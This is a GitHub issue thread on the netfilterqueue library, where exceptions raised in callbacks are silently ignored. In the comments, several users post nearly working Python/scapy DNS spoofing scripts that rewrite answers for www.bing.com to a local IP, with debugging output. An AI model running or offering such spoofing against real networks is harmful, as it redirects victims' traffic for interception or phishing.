Skip to content

Exceptions are ignored #31

Closed
Closed

Description

@strictlymike

When an exception is raised in my callback, I simply see a message like this one:

Exception TypeError: "argument of type 'NoneType' is not iterable" in 'netfilterqueue.global_callback' ignored

This makes troubleshooting painful. Is there a safe way for you to allow the exception to terminate the script with the normal stack trace? Short of that, maybe a constructor argument or other mutator to give developers the ability to opt for more detailed exception information?

I'd like to be more helpful but at a glance I can't tell where these exceptions are being handled and silenced. If you can point me to it, I'll be happy to take a crack at a PR.

Activity

  1. Zat-DB commented on Nov 24, 2018

    @Zat-DB

    `#usr/env/bin python
    import netfilterqueue
    import scapy.all as scapy

    def process_packet(packet
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
    qname = scapy_packet[scapy.DNSQR].qname
    if ‘www.bing.com’ in queue:
    print (' [+] spoofing target')
    answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
    scapy_packet[scapy.DNS].an = answer
    scapy_packet[scapy.DNS].ancount = 1

              del scapy_packet[scapy.IP].len
              del scapy_packet[scapy.IP].chksum
              del scapy_packet[scapy.UDP].len
              del scapy_packet[scapy.UDP].chksum
    
     packet.set_payload(str(scapy_packet))
    

    packet.accept()

    queue = netfilterqueue.NetfilterQueue()
    queue.bind(0, process_packet)
    queue.run()`

    I was returned with the same error as posted in the query, i.e.
    Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

  2. Zat-DB commented on Nov 26, 2018

    @Zat-DB

    `#usr/env/bin python
    import netfilterqueue
    import scapy.all as scapy

    def process_packet(packet
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
    qname = scapy_packet[scapy.DNSQR].qname
    if ‘www.bing.com’ in queue:
    print (' [+] spoofing target')
    answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
    scapy_packet[scapy.DNS].an = answer
    scapy_packet[scapy.DNS].ancount = 1

              del scapy_packet[scapy.IP].len
              del scapy_packet[scapy.IP].chksum
              del scapy_packet[scapy.UDP].len
              del scapy_packet[scapy.UDP].chksum
    
     packet.set_payload(str(scapy_packet))
    

    packet.accept()

    queue = netfilterqueue.NetfilterQueue()
    queue.bind(0, process_packet)
    queue.run()`

    I was returned with the same error as posted in the query, i.e.
    Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

    I made an error in the code, issue resolved.

  3. YuvrajSingh-16 commented on Dec 3, 2019

    @YuvrajSingh-16

    Hey, bro need your help!!!

    I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
    "[+] Spoofing Target
    Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"

  4. strictlymike commented on Dec 3, 2019

    @strictlymike
    Author

    @YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the traceback module to print a stack trace that would help you find the error (or use pdb to drop into an interactive debugger).

  5. Prasath30 commented on Oct 27, 2020

    @Prasath30

    hey guys i am facing the same error I think you guys are students from zsecurity.How did you solve the error??@Zat-DB @strictlymike @YuvrajSingh-16

  6. Bender-Is-Great commented on Jan 5, 2022

    @Bender-Is-Great

    I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
    TypeError: a bytes-like object is required, not 'str'
    Exception ignored in: 'netfilterqueue.global_callback'

    Any help would be appreciated.
    I have python 3.9.9 , python 2.7.18 and NetfilterQueue 0.8.1

    #!/usr/bin/env python
    import netfilterqueue
    import scapy.all as scapy
    
    def process_packet(packet):
        scapy_packet = scapy.IP(packet.get_payload())
        if scapy_packet.haslayer(scapy.DNSRR):
            qname = scapy_packet[scapy.DNSQR].qname
            if "www.bing.com." in qname:
                print("[+] Spoofing target ")
                answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
                scapy_packet[scapy.DNS].an = answer
                scapy_packet[scapy.DNS].ancount = 1
    
                del scapy_packet[scapy.IP].len
                del scapy_packet[scapy.IP].chksum
                del scapy_packet[scapy.UDP].len
                del scapy_packet[scapy.UDP].chksum
    
                packet.set_payload(str(scapy_packet)) # this will replace the original
        packet.accept()
        #packet.drop()
    
    queue = netfilterqueue.NetfilterQueue()
    queue.bind(0, process_packet)
    queue.run()
    
    

    Terminal Output:
    `┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
    └─# python3 dns_spoof.py 130 ⨯
    Traceback (most recent call last):
    File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
    if "www.bing.com." in qname:
    TypeError: a bytes-like object is required, not 'str'
    Exception ignored in: 'netfilterqueue.global_callback'
    Traceback (most recent call last):
    File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
    if "www.bing.com." in qname:
    TypeError: a bytes-like object is required, not 'str'
    Traceback (most recent call last):
    File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
    if "www.bing.com." in qname:
    TypeError: a bytes-like object is required, not 'str'
    Exception ignored in: 'netfilterqueue.global_callback'
    Traceback (most recent call last):
    File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
    if "www.bing.com." in qname:
    TypeError: a bytes-like object is required, not 'str'
    ^CTraceback (most recent call last):
    File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
    queue.run()
    KeyboardInterrupt

  7. added a commit that references this issue on Jan 13, 2022
    0187c89
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions